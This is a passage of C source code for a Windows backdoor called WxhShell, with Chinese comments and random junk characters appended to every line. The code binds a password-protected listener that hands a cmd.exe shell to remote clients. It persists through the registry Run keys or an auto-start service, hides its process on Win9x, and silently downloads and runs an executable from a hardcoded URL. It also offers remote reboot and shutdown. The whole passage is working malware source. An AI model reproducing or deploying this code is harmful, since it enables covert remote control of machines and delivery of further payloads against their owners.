    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )4!CR/ao  
    if(Boot(SHUTDOWN)) 0H OoKh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ko$ $dkSE  
    else { *h*j%  
    closesocket(wsh); NoJnchiU  
    ExitThread(0); &h7smZO5j  
    } _@#uIOcE  
    break; _OJ0 < {E  
    } '<?v:pb9  
  // 获取shell |t&G&)~:  
  case 's': { 0NCOz(L/  
    CmdShell(wsh); bl" (<TM  
    closesocket(wsh); 9<t9a f\.>  
    ExitThread(0); J|gdO+  
    break; Ei{(  
  } lruF96C/Y  
  // 退出 VQy 9Y  
  case 'x': { M.xhVgFf)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Hi; K"H]x1  
    CloseIt(wsh); OX)#F'Sl}  
    break; N+\oFbE  
    } < v|%K.yd  
  // 离开 u8-a-k5<  
  case 'q': { MtpU~c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MiSja#"+A  
    closesocket(wsh); ]5} -y3  
    WSACleanup(); lL:KaQ0E  
    exit(1); A~6%,q@^jh  
    break; Qb!!J4| !  
        } z'?7]C2b  
  } :LZ-da"QR  
  } saGRP}7?  
-TzI>Fz  
  // 提示信息 hsTFAfa'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }mKGuCoH>  
} hFsA_x+L;  
  } 22)0zY%\  
D'7A2f  
  return; qhV,u;\.  
} :`+|'*b(A  
Smq r q  
// shell模块句柄 9GMH*=3[=  
int CmdShell(SOCKET sock) hH <6E  
{ 94~"U5oQ:  
STARTUPINFO si; 4*0:bhhhf_  
ZeroMemory(&si,sizeof(si)); H!unIy|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vnz[w=U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TpJg-F  
PROCESS_INFORMATION ProcessInfo; Zg)_cRR   
char cmdline[]="cmd"; snXB`U C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5z1\#" B[  
  return 0; ~A8qeaP  
} D ?Nd; [  
4 t&gW  
// 自身启动模式 >EBZ$X  
int StartFromService(void) WW//heJe-  
{ [3t0M5x w  
typedef struct 8O~0RYk  
{ lo cW_/  
  DWORD ExitStatus; 0zg2g!lh  
  DWORD PebBaseAddress; y]yine  
  DWORD AffinityMask; jMN)?6$=  
  DWORD BasePriority; u|(Ux~O  
  ULONG UniqueProcessId; lq:]`l,6@  
  ULONG InheritedFromUniqueProcessId; Sp 7u_Pq{  
}   PROCESS_BASIC_INFORMATION; c:=7lI  
`%$8cZ-kr  
PROCNTQSIP NtQueryInformationProcess; _R EqT  
`+roQX.p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z7JKaP9{:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Of-C  
8<YX7e  
  HANDLE             hProcess; #$LH2?)  
  PROCESS_BASIC_INFORMATION pbi; rlR !&  
seu ~'s-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9.xvV|Sp  
  if(NULL == hInst ) return 0; Z8&4z.6_  
WHp97S'd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TNh=4xQ}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JT4wb]kdV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SXQ@;= ]xV  
"Owct(9  
  if (!NtQueryInformationProcess) return 0; rVUUH!  
0yn[L3x7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n%F-cw  
  if(!hProcess) return 0; Z+NF(d  
#X#8ynt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W0Ktw6  
9Hu d|n  
  CloseHandle(hProcess); ]53O}sH>  
F7\BF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '9'l=Sh  
if(hProcess==NULL) return 0; gXLCRn!iR  
@zo7.'7P   
HMODULE hMod; G;/Q>V  
char procName[255]; YnSbw3U.I  
unsigned long cbNeeded; "\7v  
G@9u:\[l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5B1G?`]?  
NeHx2m+  
  CloseHandle(hProcess); BYS lKTh  
os[ZIHph  
if(strstr(procName,"services")) return 1; // 以服务启动 L~IE,4  
H#+\nT2m  
  return 0; // 注册表启动 jk )Vb  
} 3S5^ `Ag#  
ZI,j?i6\  
// 主模块 uG;?vvg>  
int StartWxhshell(LPSTR lpCmdLine) 4:D:| r  
{ b6|Z"{TI _  
  SOCKET wsl; &M[MEO`t8  
BOOL val=TRUE; )Nbc/nB$  
  int port=0; _mXs4  
  struct sockaddr_in door; |8bE9qt.P  
lK*jhW?3:  
  if(wscfg.ws_autoins) Install(); fmFzW*,E  
S.: 7k9  
port=atoi(lpCmdLine); \^9pW 2v  
EJ`Q8uz  
if(port<=0) port=wscfg.ws_port; :/6()_>bO  
E4r.ky`#~  
  WSADATA data; A#(`9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ur6e&bTp  
#,&8&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _w z2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J_PH7Z*=,  
  door.sin_family = AF_INET; E tx`K5Tr]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #1[z;Mk0  
  door.sin_port = htons(port); OqBC/p B  
p;0 PxL=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &iNS?1a%f=  
closesocket(wsl); fz3lR2~G  
return 1; {(}yG_Q]!  
} *hF^fxLbl  
09d9S`cS\  
  if(listen(wsl,2) == INVALID_SOCKET) { xI?0N<'.*q  
closesocket(wsl); eRs&iK2y  
return 1; ox[ .)v  
} mZ7B<F[qV  
  Wxhshell(wsl); r2nBWA3  
  WSACleanup(); }#6xFTH  
Q4?EZ_O  
return 0; 9OyNi  
? Vp%=E  
} )Q]w6he3  
qBYg[K>  
// 以NT服务方式启动 Jt]&;0zn2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Iyyo3awc  
{ 0/Z !5-.  
DWORD   status = 0; hsz^rZ  
  DWORD   specificError = 0xfffffff; $3k "WlRG  
|n`PESf_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8}BS2C%P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2bLI%gg3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r+S;B[Vd  
  serviceStatus.dwWin32ExitCode     = 0; @}DFp`~5|  
  serviceStatus.dwServiceSpecificExitCode = 0; >F[GVmC  
  serviceStatus.dwCheckPoint       = 0; KQ{Lt?S  
  serviceStatus.dwWaitHint       = 0; < bFy(+  
2 n)gpLIJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d)tiO2W  
  if (hServiceStatusHandle==0) return; Qdu$Os  
|9IC/C!HC  
status = GetLastError();  )3%@9  
  if (status!=NO_ERROR) ^H3m\!h  
{ 'wvMH;}u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >b48>@~bY  
    serviceStatus.dwCheckPoint       = 0; SE)nD@:  
    serviceStatus.dwWaitHint       = 0; VI_+v[Hk/  
    serviceStatus.dwWin32ExitCode     = status; CZ(`|;BC*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ubbnFE&PD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G;s"h%Xw98  
    return; NiA4JgM]v  
  } 0Z HDBh  
&94W-zh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?3q@f\fZ  
  serviceStatus.dwCheckPoint       = 0; M'2r@NR8  
  serviceStatus.dwWaitHint       = 0; g)R1ObpZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o=_c2m   
} BpH%STEN  
VEs5;]#<2D  
// 处理NT服务事件,比如:启动、停止 G\=_e8(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kkv<"^H  
{ g^l RG3a  
switch(fdwControl) %;|0  
{ d1]i,C~Y  
case SERVICE_CONTROL_STOP: H0>yi[2f  
  serviceStatus.dwWin32ExitCode = 0; f~ZEdq8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fu4!t31  
  serviceStatus.dwCheckPoint   = 0; 0V`[Zgf  
  serviceStatus.dwWaitHint     = 0; dv!r.  
  { ,j178EX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?djQZ *  
  } #U ASH&  
  return; pRi<cO  
case SERVICE_CONTROL_PAUSE: C6jR=@42Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zN!j%T.e  
  break; +Gh7^v|"  
case SERVICE_CONTROL_CONTINUE: Qxa{UQh}9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D4Etl5k  
  break; (=c1  
case SERVICE_CONTROL_INTERROGATE: h@1!T  
  break; q0./O|Dj   
}; .H~YI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V.=lGhi  
} b>11h  
fS=hpL6]@  
// 标准应用程序主函数 iw\%h9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tFM$#JN  
{ 57Z-  
h`Tz5% n  
// 获取操作系统版本 RMP9y$~3pU  
OsIsNt=GetOsVer(); (9C<K<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kat&U19YH  
7L3ik;>  
  // 从命令行安装 F)Oe9x\/  
  if(strpbrk(lpCmdLine,"iI")) Install(); [6tSYUZs  
%j+xgX/&  
  // 下载执行文件 :P+\p=  
if(wscfg.ws_downexe) { %J~WC$=Qv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p&Ed\aQ%z;  
  WinExec(wscfg.ws_filenam,SW_HIDE); _O]xey^r  
} 7%;_kFRV  
p2 %  
if(!OsIsNt) { )uheV,ZnY  
// 如果时win9x,隐藏进程并且设置为注册表启动 }}r> K}  
HideProc(); +TJ EG?o  
StartWxhshell(lpCmdLine); GP a`e  
} PaWr[ye  
else $`J_:H%  
  if(StartFromService()) X}A'Cg0y  
  // 以服务方式启动 t ^SzqB  
  StartServiceCtrlDispatcher(DispatchTable); eu#'SXSC F  
else _Z Y\,_  
  // 普通方式启动 "r'ozf2 \  
  StartWxhshell(lpCmdLine); |E)aT#$f'  
\Qy$I-Du  
return 0; Z`Z5sj 4{  
} -{jdn%Y7CK  
1AD]v<M  
Jxl6a:  
r ?m6$  
=========================================== R 9 4^4I  
I)SG wt-  
z(13~38+  
wvby?MhPY  
z rfUQO  
6'-As= iw  
" +.yT/y"  
=E*Gb[r_7  
#include <stdio.h> Y.6SOu5$]  
#include <string.h> ~AB*]Us  
#include <windows.h> \jU |(DE  
#include <winsock2.h> O XP\R  
#include <winsvc.h> g(4bBa9y  
#include <urlmon.h> tJ0NPI56yP  
r 2:2,5_  
#pragma comment (lib, "Ws2_32.lib") /)3Lnn{W  
#pragma comment (lib, "urlmon.lib") [1yq{n=  
WT\<.Py  
#define MAX_USER   100 // 最大客户端连接数 j+IrqPKC^  
#define BUF_SOCK   200 // sock buffer &qM[g 9  
#define KEY_BUFF   255 // 输入 buffer gABr@>Vv  
>SbK.Q@ei  
#define REBOOT     0   // 重启 )Kd%\PP  
#define SHUTDOWN   1   // 关机 |CFRJN-J"  
3G}AH E4  
#define DEF_PORT   5000 // 监听端口 5Wx~ZQZ  
aHzHvl  
#define REG_LEN     16   // 注册表键长度 wq!iV |  
#define SVC_LEN     80   // NT服务名长度 q(M:QWA q  
<%?#AVU[  
// 从dll定义API o4y']JSN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~FU@wV^   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d^E [|w ;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4,p;Km&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uBrMk  
DGESba\2+  
// wxhshell配置信息  ;q>9W,jy  
struct WSCFG { zCaT tb|@  
  int ws_port;         // 监听端口 XzIx:J6  
  char ws_passstr[REG_LEN]; // 口令 =n(3o$r(  
  int ws_autoins;       // 安装标记, 1=yes 0=no TI|/u$SJ<Z  
  char ws_regname[REG_LEN]; // 注册表键名 PJ4(}a  
  char ws_svcname[REG_LEN]; // 服务名 @~td`Z?1 y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *Mc7f?H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w8Sv*K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \*t~==WB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _ QOZ sEe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $.%rAa_H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fg]?zEa  
sBX-X$*N  
}; ^Q<mV*~  
Wi. 5Y{  
// default Wxhshell configuration @C_KV0i  
struct WSCFG wscfg={DEF_PORT, )FN;+"IJ  
    "xuhuanlingzhe", KJn!Ap  
    1, 08bJCH  
    "Wxhshell", bpAv1udX-W  
    "Wxhshell", nAJdr*`a,5  
            "WxhShell Service", V N{NA+I  
    "Wrsky Windows CmdShell Service", h&&6r\4/|  
    "Please Input Your Password: ", *jq7X  
  1, $g9**b@  
  "http://www.wrsky.com/wxhshell.exe", oPf)be| #  
  "Wxhshell.exe" KL,/2 (  
    }; _*M42<wcO  
g`^X#-!(  
// 消息定义模块 l\0w;:N3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n"Veem[_4g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !%(h2]MQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fh|#u:n  
char *msg_ws_ext="\n\rExit."; SymwAS+  
char *msg_ws_end="\n\rQuit."; R7 jmv n  
char *msg_ws_boot="\n\rReboot..."; >r@.F%  
char *msg_ws_poff="\n\rShutdown..."; K BE Ax3  
char *msg_ws_down="\n\rSave to "; B;6]NCx D  
9LnN$e  
char *msg_ws_err="\n\rErr!"; X!hIwiA,t  
char *msg_ws_ok="\n\rOK!"; k*rZ*sSp  
`>(W"^  
char ExeFile[MAX_PATH]; )m3Uar  
int nUser = 0; Oc].@Jy  
HANDLE handles[MAX_USER]; = {'pUU  
int OsIsNt; 3\O|ii  
h Ov={:  
SERVICE_STATUS       serviceStatus; {]*x*aa\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rHge~nY<  
J@pb[OL,  
// 函数声明 ( lm&*tKm  
int Install(void);  +ECDD'^!  
int Uninstall(void); _Q%vK*n  
int DownloadFile(char *sURL, SOCKET wsh); ^g1f X1  
int Boot(int flag); Psura$:  
void HideProc(void); u9woEe?  
int GetOsVer(void); Jq.lT(E8D  
int Wxhshell(SOCKET wsl); O=cxNy-I  
void TalkWithClient(void *cs); ,fDEz9-,  
int CmdShell(SOCKET sock); `^JJ&)4iv  
int StartFromService(void); n"PJ,ao  
int StartWxhshell(LPSTR lpCmdLine); EI>6Nh  
%=we `&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z7rJ}VP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Cb t{ H}I3  
]M>9ULQ  
// 数据结构和表定义 N]EcEM#  
SERVICE_TABLE_ENTRY DispatchTable[] = d6{Gt"  
{ f*{ YFg?*&  
{wscfg.ws_svcname, NTServiceMain}, sxKf&p;  
{NULL, NULL} 5<pftTcZ  
}; mP38T{  
Jb)#fH$L  
// 自我安装 hf/2vt m  
int Install(void) *_Z#O,  
{ #ge)2  
  char svExeFile[MAX_PATH]; WO4=Mte?  
  HKEY key; Z v_.na/^K  
  strcpy(svExeFile,ExeFile); c}*2$1  
%D$,;{ew  
// 如果是win9x系统,修改注册表设为自启动 V-I(WzR9y  
if(!OsIsNt) { XfE?C:v   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lU^;Z 6f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {CG_P,FO  
  RegCloseKey(key); 3nZ9m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jCAC `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4(neKr5\#  
  RegCloseKey(key); r)9Dy,  
  return 0; unJid8Lo  
    } 87%*+n:?*  
  } YIt& >  
} jc[_I&Oc_  
else { 8[CB>-9  
 |{* }|  
// 如果是NT以上系统,安装为系统服务 m=AqV:%|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X{n- N5*  
if (schSCManager!=0) (`>voi<^  
{ w~_;yQ  
  SC_HANDLE schService = CreateService o@]So(9f  
  ( b*;"q9u5  
  schSCManager, 2$_9cF Wm  
  wscfg.ws_svcname, ^,F;M`[  
  wscfg.ws_svcdisp, `~eX55W  
  SERVICE_ALL_ACCESS, b `2|I {  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;4M><OS!  
  SERVICE_AUTO_START, a07@C  
  SERVICE_ERROR_NORMAL, tkQH\5  
  svExeFile, "'8KV\/D  
  NULL, .@-9'<K?~  
  NULL, ML-)I&>tT  
  NULL, 8zLY6@  
  NULL, !Fw?H3X!"q  
  NULL KfBTL!0#  
  ); _rV5E  
  if (schService!=0) S-31-Zjw  
  { >-_d CNZ  
  CloseServiceHandle(schService); id<:p*  
  CloseServiceHandle(schSCManager); BR^7_q4q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y-p70.'{U  
  strcat(svExeFile,wscfg.ws_svcname); x\&`>>uA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^_5L"F]sP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ihh4pD27g  
  RegCloseKey(key); Q9d`zR]  
  return 0; MS(JR  
    } k4qp u=@U  
  } \Gm-MpW  
  CloseServiceHandle(schSCManager); %p^.\ch9  
} >e2<!#er|  
} R(P%Csbqh  
 $Y=T&O  
return 1; :+{ ?  
} -U<Upn)2  
ZT02"3F  
// 自我卸载 1:NrP'W^  
int Uninstall(void) =NbI%  
{ a9n^WOJ6  
  HKEY key; gH2,\z`[4  
B63pgPX  
if(!OsIsNt) { YY?a>j."a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /&u<TJ4  
  RegDeleteValue(key,wscfg.ws_regname); N=:5eAza  
  RegCloseKey(key); Wv__ wZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `28};B>  
  RegDeleteValue(key,wscfg.ws_regname); %}86D[PF  
  RegCloseKey(key); M :3u@06a  
  return 0; ] 2DH;  
  } $F.([?)k?  
} ELh8ltLY  
} -",=G\XZ  
else { pE{yv1Yg  
)$w*V9d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "#v=IJy&r  
if (schSCManager!=0) vHAg-Av c  
{ 7iHK_\tn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2L AYDaS  
  if (schService!=0) V`adWXu  
  { -(`OcGM'L  
  if(DeleteService(schService)!=0) { L=2y57&Y  
  CloseServiceHandle(schService); QDpEb=|S  
  CloseServiceHandle(schSCManager); iv phlw  
  return 0; ?[*0+h`en  
  } 6"c1;P!4   
  CloseServiceHandle(schService); pLMRwgzr  
  } :Rs^0F8)c  
  CloseServiceHandle(schSCManager); "MIq.@8ra  
} c}3W:}lW  
} t}v2$<!I  
b{fQ|QD{^E  
return 1; @fu M)B1"  
}  )>D+x5o]  
g}p;\o   
// 从指定url下载文件 [4fU+D2\d  
int DownloadFile(char *sURL, SOCKET wsh) iK?b~Q  
{ i,13b e  
  HRESULT hr; [1Ydo`  
char seps[]= "/"; &V|>dLT>A  
char *token; 5Z4- Z  
char *file; |QV!-LK  
char myURL[MAX_PATH]; jjJ2>3avY  
char myFILE[MAX_PATH]; 0!z@2[Pe66  
0Ok,oW {  
strcpy(myURL,sURL); Qb8KPpd  
  token=strtok(myURL,seps); Mv c`)_Md  
  while(token!=NULL) pfx3C*  
  {  0l;<5  
    file=token; H+ h07\? %  
  token=strtok(NULL,seps); @!&}}"<  
  } *9)SmS s  
b3wM;jv  
GetCurrentDirectory(MAX_PATH,myFILE); {JV@"t-X3"  
strcat(myFILE, "\\"); "EU{8b  
strcat(myFILE, file); G/%iu;7ZCb  
  send(wsh,myFILE,strlen(myFILE),0); >NB?& |  
send(wsh,"...",3,0); %4 \OPw&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9WJz~SP+vR  
  if(hr==S_OK) fYE(n8W3  
return 0; /6O??6g  
else +GsWTEz   
return 1; jGrN\D?h  
RzhWD^bB  
} v(OBXa9  
\c[IbL07  
// 系统电源模块 {cpEaOyOM  
int Boot(int flag) aA-  
{ #_mi `7!B#  
  HANDLE hToken; tNVV)C  
  TOKEN_PRIVILEGES tkp; %gnM( pxl  
gX{loG  
  if(OsIsNt) { TpA\9N#$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T0)"1D<l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _Lw OOZj  
    tkp.PrivilegeCount = 1; ?Qb<-~~ j1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @\&m+;6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Th`skK&U  
if(flag==REBOOT) { S osj$9E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1b8p~-LsU  
  return 0; 10#oG{ 9  
} VL' fP2  
else { R:p62c;Tv0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '03->7V  
  return 0; %p&k5:4<"#  
} q9"=mO0J+  
  } ,]}?.g  
  else { >:=|L%]s;\  
if(flag==REBOOT) { (;. AS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  -C#PQV  
  return 0; }HEvr)v9  
} >zkRcm  
else { @pGZLq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ifk#/d  
  return 0; s] /tYJYl  
} /v095H@  
} !L5jj#0  
X0{/ydG F8  
return 1; k`".  
} nN$Y(2ZN  
8Ry74|`=R  
// win9x进程隐藏模块 5>6PH+Oq  
void HideProc(void) Iqs+r?  
{ xoB},Xl$D  
k%[3Q>5iM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xUF_1hY  
  if ( hKernel != NULL ) RvJ['(-  
  { ,wKe fpV;5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "l={)=R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); va f&X]p  
    FreeLibrary(hKernel); )'l*Tl  
  } 1>Q{Gs^  
b]E|*  
return; ?)'~~ @NkH  
} 39 {{7(hh  
@?C#r.vgp  
// 获取操作系统版本 ,2oF:H  
int GetOsVer(void) R~bC,`Bh  
{ , n !vsIN  
  OSVERSIONINFO winfo; a:~@CUD >I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )hwV`2>l  
  GetVersionEx(&winfo); 7j5f ;O^+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s=?aox7  
  return 1; Bh&Ew   
  else )a}"^1  
  return 0; \U%#nU{  
} %iJ%{{f`  
(2?G:+C 7  
// 客户端句柄模块 W:i?t8y\y  
int Wxhshell(SOCKET wsl) X5YiFLH>y\  
{ PLM_#+R>  
  SOCKET wsh; 1 4 LI5T  
  struct sockaddr_in client; *zO&N^X.4  
  DWORD myID; +Taa!hfys  
R E1 /"[t  
  while(nUser<MAX_USER) 9iN.3/T8  
{ m?s}QGSka  
  int nSize=sizeof(client); # N~,F@t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w",? Bef  
  if(wsh==INVALID_SOCKET) return 1; G ;?qWB,  
Ou'?]{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l0*Gb  
if(handles[nUser]==0) 3CTX -#)vS  
  closesocket(wsh); ? _\$  
else (3\Xy   
  nUser++; r!}al5~&  
  } Dc~,D1xWj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 66snC{g U  
%/kyT%1  
  return 0; G;gJNK"e  
} 4 ;Qlu  
T~sTBGcv  
// 关闭 socket ]j>i.5  
void CloseIt(SOCKET wsh) OEdJc\n_R  
{ ujW1+Oj=~  
closesocket(wsh); "S~_[/q  
nUser--; (_* wt]"'  
ExitThread(0); A`O<6   
} ]43[6Im  
dsK&U\ej}  
// 客户端请求句柄 Vbh6HqAHxJ  
void TalkWithClient(void *cs) \^*< y-jL  
{ Y^$HrI(vq  
<(@Syv)  
  SOCKET wsh=(SOCKET)cs; b(GFMk  
  char pwd[SVC_LEN]; Fb2%!0i  
  char cmd[KEY_BUFF]; _RMQy~&b  
char chr[1]; us?&:L|!=  
int i,j; ba@ax3  
%IL6ix  
  while (nUser < MAX_USER) { yh;Y,;4  
JU0]Wq<^[  
if(wscfg.ws_passstr) { 4yMW^:@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m$>iS@R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =fc: 6JR  
  //ZeroMemory(pwd,KEY_BUFF); ^ L:cjY/  
      i=0; zH)_vW  
  while(i<SVC_LEN) { 9-*NW0  
4C~UcGMv\  
  // 设置超时 " oy\_1|  
  fd_set FdRead; %XhfXd'  
  struct timeval TimeOut; Hr;h4J  
  FD_ZERO(&FdRead); &UAe!{E0  
  FD_SET(wsh,&FdRead); lp&!lb`  
  TimeOut.tv_sec=8; jyW[m,#(go  
  TimeOut.tv_usec=0; uMXc0fs!$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .uZ7 -l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @^nu #R  
jRkC/Lw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mjpo1dw  
  pwd=chr[0]; @b!"joEy  
  if(chr[0]==0xd || chr[0]==0xa) { A3P9.mur  
  pwd=0; k/Mp6<?C:  
  break; ~M ?|Vn  
  } O^{1RV3:,T  
  i++; t7#lsd`_  
    } .I?@o8'x  
#/J 'P[z  
  // 如果是非法用户,关闭 socket upn8n vy4(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8 ?TKN~ja  
} U/MFhD(06  
fhp)S",  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kL{;.WsB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _[Gb)/@mM  
' |K.k6  
while(1) { ka7uK][  
e]W0xC-  
  ZeroMemory(cmd,KEY_BUFF); ?z`MPdO  
2@@l{Y0f6  
      // 自动支持客户端 telnet标准   jThbeY[  
  j=0; .e[Tu|qo  
  while(j<KEY_BUFF) { eVy2|n9rH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $7gB_o$zz  
  cmd[j]=chr[0]; ~bU7QLr  
  if(chr[0]==0xa || chr[0]==0xd) { pD`/_-=^h  
  cmd[j]=0; vX1uR]A[  
  break; ,j;PRJ  
  } 9$WJ"]  
  j++; =v2%Vs\7k  
    } +Tak de%~  
#0 y <a:}R  
  // 下载文件 c cG['7  
  if(strstr(cmd,"http://")) { f>iuHR*EXB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7s>a2  
  if(DownloadFile(cmd,wsh)) :uCdq`SaQl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?A=b6Um  
  else 4^Qi2[w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i*tv,f.(  
